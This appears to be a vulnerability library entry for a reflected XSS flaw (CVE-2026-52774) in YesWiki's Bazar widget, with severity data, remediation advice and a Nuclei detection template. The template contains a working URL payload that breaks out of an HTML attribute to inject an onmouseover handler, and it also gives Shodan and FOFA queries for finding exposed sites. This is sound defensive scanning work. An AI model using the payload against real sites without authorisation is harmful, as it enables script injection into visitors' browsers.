/Vulnerability Library

YesWiki Bazar Widget - Reflected XSS via 'id' Parameter

CVE-2026-52774
Early Release

Description

YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.

Severity

Medium

CVSS Score

6.1

Affected Product

yeswiki

Published Date

July 13, 2026

Template Author

0x_akoko

CVE-2026-52774.yaml
id: CVE-2026-52774

info:
  name: YesWiki Bazar Widget - Reflected XSS via 'id' Parameter
  author: 0x_Akoko
  severity: medium
  description: |
   YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.
  impact: |
   Attackers can execute arbitrary JavaScript in victims' browsers.
  remediation: |
   Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-r5xw-gcgw-hwp5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-52774
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-52774
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"YesWiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,xss,reflected

http:
  - method: GET
    path:
      - "{{BaseURL}}/NoSuchPage/widget?id=%22%20onmouseover=%22alert(document.domain)%22%20x=%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data-formid="" onmouseover="alert(document.domain)" x=""'
          - 'widgetapp'
        condition: and

      - type: word
        part: body
        words:
          - "yeswiki"
          - "YesWiki"
        condition: or

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ea871028ad335cb9428b684150f2054c2247ba1350848a63d92dfc6376bd9e34022066b43dbd4d6e86c4e5dc2148aadf23abe5ee05e1a9afffb85fd4ee2331fcb399:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2026-52774
CWE ID:
cwe-79

References

https://github.com/YesWiki/yeswiki/security/advisories/GHSA-r5xw-gcgw-hwp5https://nvd.nist.gov/vuln/detail/CVE-2026-52774

Remediation Steps

Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.